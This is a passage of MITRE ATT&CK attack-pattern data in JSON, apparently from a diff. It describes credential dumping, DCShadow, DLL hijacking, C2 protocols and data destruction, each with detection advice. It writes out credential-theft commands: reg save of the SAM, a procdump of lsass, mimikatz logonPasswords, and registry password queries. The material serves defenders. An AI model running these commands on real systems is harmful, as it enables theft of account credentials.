"Credential Dumping", + "created": "2017-05-31T21:30:19.735Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform\u00a0Lateral Movement\u00a0and access restricted information.\n\nSeveral of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n\n### Windows\n\n#### SAM (Security Accounts Manager)\n\nThe SAM is a database file that contains local accounts for the host, typically those found with the \u2018net user\u2019 command. To enumerate the SAM database, system level access is required.\n\u00a0\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with [Reg](https://attack.mitre.org/software/S0075):\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)\n\nNotes:\nRid 500 account is the local, in-built administrator.\nRid 501 is the guest account.\nUser accounts start with a RID of 1,000+.\n\n#### Cached Credentials\n\nThe DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks.\n\u00a0\nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nCached credentials for Windows Vista are derived using PBKDF2.\n\n#### Local Security Authority (LSA) Secrets\n\nWith SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets.\n\u00a0\nWhen services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well.\n\u00a0\nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nThe passwords extracted by his mechanism are\u00a0UTF-16\u00a0encoded, which means that they are returned in\u00a0plaintext.\nWindows 10 adds protections for LSA Secrets described in Mitigation.\n\n#### NTDS from Domain Controller\n\nActive Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)\n \nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n#### Group Policy Preference (GPP) Files\n\nGroup Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.\n\nThese group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: \"post/windows/gather/credentials/gpp\"\n* Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nNotes:\nOn the SYSVOL share, the following can be used to enumerate potential XML files.\ndir /s * .xml\n\n#### Service Principal Names (SPNs)\n\nSee [Kerberoasting](https://attack.mitre.org/techniques/T1208).\n\n#### Plaintext Credentials\n\nAfter a user logs on to a system, a variety of credentials are generated and stored in the\u00a0Local Security Authority Subsystem Service\u00a0(LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM.\n\nSSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs):\u00a0A Security Support Provider is a\u00a0dynamic-link library\u00a0(DLL) that makes one or more security packages available to applications.\n\nThe following SSPs can be used to access credentials:\n\nMsv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\nWdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection)\nKerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\nCredSSP: \u00a0Provides SSO and\u00a0Network Level Authentication\u00a0for\u00a0Remote Desktop Services. (Citation: Microsoft CredSSP)\n\u00a0\nThe following tools can be used to enumerate credentials:\n\n* [Windows Credential Editor](https://attack.mitre.org/software/S0005)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run:\n\n* sekurlsa::Minidump\u00a0lsassdump.dmp\n* sekurlsa::logonPasswords\n\n#### DCSync\n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\n### Linux\n\n#### Proc filesystem\n\nThe /proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. This functionality has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "root" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1081", + "source_name": "mitre-attack", + "external_id": "T1081" + }, + { + "url": "https://capec.mitre.org/data/definitions/545.html", + "source_name": "capec", + "external_id": "CAPEC-545" + }, + { + "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html", + "source_name": "CG 2014", + "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014." + }, + { + "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx", + "source_name": "SRD GPP", + "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015." + } + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process command-line parameters" + ], + "x_mitre_system_requirements": [ + "Access to files" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "name": "Credentials in Files", + "created": "2017-05-31T21:31:02.188Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1214", + "source_name": "mitre-attack", + "external_id": "T1214" + }, + { + "url": "https://pentestlab.blog/2017/04/19/stored-credentials/", + "source_name": "Pentestlab Stored Credentials", + "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Sudhanshu Chauhan, @Sudhanshu_C" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "Process command-line parameters", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286", + "name": "Credentials in Registry", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s", + "x_mitre_system_requirements": [ + "Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys." + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1094", + "source_name": "mitre-attack", + "external_id": "T1094" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.", + "x_mitre_contributors": [ + "Ryan Becwar" + ], + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring", + "Host network interface", + "Network intrusion detection system", + "Network protocol analysis" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "name": "Custom Command and Control Protocol", + "created": "2017-05-31T21:31:10.314Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Standard Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1024", + "source_name": "mitre-attack", + "external_id": "T1024" + }, + { + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf", + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014." + }, + { + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf", + "source_name": "Fidelis DarkComet", + "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016." + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "name": "Custom Cryptographic Protocol", + "created": "2017-05-31T21:30:31.197Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)" + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1207", + "source_name": "mitre-attack", + "external_id": "T1207" + }, + { + "url": "https://www.dcshadow.com/", + "source_name": "DCShadow Blog", + "description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018." + }, + { + "source_name": "BlueHat DCShadow Jan 2018", + "description": "Delpy, B. & LE TOUX, V. (2018, January 24). Active Directory: What can make your million dollar SIEM go blind?. Retrieved March 20, 2018." + }, + { + "url": "https://adsecurity.org/?page_id=1821", + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015." + }, + { + "url": "https://github.com/shellster/DCSYNCMonitor", + "source_name": "GitHub DCSYNCMonitor", + "description": "Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018." + }, + { + "url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html", + "source_name": "ADDSecurity DCShadow Feb 2018", + "description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018." + }, + { + "url": "https://msdn.microsoft.com/en-us/library/ms677626.aspx", + "source_name": "Microsoft DirSync", + "description": "Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Authentication logs", + "Network protocol analysis", + "Packet capture" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \u201cGC/\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\u20134B06\u201311D1-AB04\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Log analysis" + ], + "id": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a", + "name": "DCShadow", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)", + "x_mitre_permissions_required": [ + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1038", + "source_name": "mitre-attack", + "external_id": "T1038" + }, + { + "url": "https://capec.mitre.org/data/definitions/471.html", + "source_name": "capec", + "external_id": "CAPEC-471" + }, + { + "url": "http://msdn.microsoft.com/en-US/library/ms682586", + "source_name": "Microsoft DLL Search", + "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014." + }, + { + "url": "http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx", + "source_name": "Microsoft 2269637", + "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014." + }, + { + "url": "http://msdn.microsoft.com/en-US/library/ms682600", + "source_name": "Microsoft DLL Redirection", + "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014." + }, + { + "url": "https://msdn.microsoft.com/en-US/library/aa375365", + "source_name": "Microsoft Manifests", + "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014." + }, + { + "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/", + "source_name": "Mandiant Search Order", + "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014." + }, + { + "url": "https://www.owasp.org/index.php/Binary_planting", + "source_name": "OWASP Binary Planting", + "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Stefan Kanthak", + "Travis Smith, Tripwire" + ], + "x_mitre_data_sources": [ + "File monitoring", + "DLL monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting" + ], + "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", + "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "name": "DLL Search Order Hijacking", + "created": "2017-05-31T21:30:40.604Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_effective_permissions": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_system_requirements": [ + "Ability to add a DLL, manifest file, or .local file, directory, or junction." + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1073", + "source_name": "mitre-attack", + "external_id": "T1073" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf", + "source_name": "Stewart 2014", + "description": "Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014." + }, + { + "url": "https://msdn.microsoft.com/en-us/library/aa375365", + "source_name": "MSDN Manifests", + "description": "Microsoft. (n.d.). Manifests. Retrieved June 3, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Process use of network", + "Process monitoring", + "Loaded DLLs" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "name": "DLL Side-Loading", + "created": "2017-05-31T21:30:58.007Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.", + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Anti-virus" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1002", + "source_name": "mitre-attack", + "external_id": "T1002" + }, + { + "url": "https://en.wikipedia.org/wiki/List_of_file_signatures", + "source_name": "Wikipedia File Header Signatures", + "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)", + "x_mitre_data_sources": [ + "Binary file metadata", + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": false, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "exfiltration", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "name": "Data Compressed", + "created": "2017-05-31T21:30:19.338Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib." + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "kill_chain_phases": [ + { + "phase_name": "impact", + "kill_chain_name": "mitre-attack" + } + ], + "name": "Data Destruction", + "x_mitre_detection": "Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\\Windows\\System32\\.", + "x_mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ], + "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin 